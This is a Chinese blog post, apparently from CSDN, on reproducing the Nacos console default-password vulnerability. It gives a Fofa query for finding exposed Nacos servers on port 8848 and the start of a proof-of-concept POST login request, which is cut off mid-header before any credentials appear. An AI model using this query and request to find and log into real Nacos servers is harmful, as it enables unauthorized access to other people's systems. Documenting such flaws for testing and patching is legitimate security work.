【漏洞复现】Nacos 控制台默认口令漏洞

最新推荐文章于 2025-07-09 09:42:29 发布

晚风不及你ღ

最新推荐文章于 2025-07-09 09:42:29 发布

阅读量1.3k

点赞数 5

CC 4.0 BY-SA版权

文章标签： web安全

本文链接：https://blog.csdn.net/qq_37113223/article/details/138268457

【漏洞复现】专栏收录该内容

150 篇文章

已下架不支持订阅

本文详细介绍了Nacos控制台存在的默认口令漏洞，该漏洞可能导致未授权访问。通过搜索语法Fofa-Query: ip.port=='8848' and title=='HTTP Status 404 – Not Found'可以定位到问题，受影响的是Nacos的特定版本。文中还包含了漏洞的POC和复现过程。

漏洞描述：

Nacos控制台默认口令漏洞是一个重要的安全问题，它涉及到未经授权的访问风险。在Nacos的某些版本中，如果使用了默认的口令或密钥，攻击者可能会利用这些默认设置来绕过身份认证，直接获得对Nacos的访问权限。

搜索语法:

Fofa-Query: ip.port=="8848" and title=="HTTP Status 404 – Not Found"

漏洞详情：

1.Nacos服务系统。

2.漏洞POC：

POST /nacos/v1/auth/users/login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Host: {
  
  {Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Leng

了解本专栏

已下架不支持订阅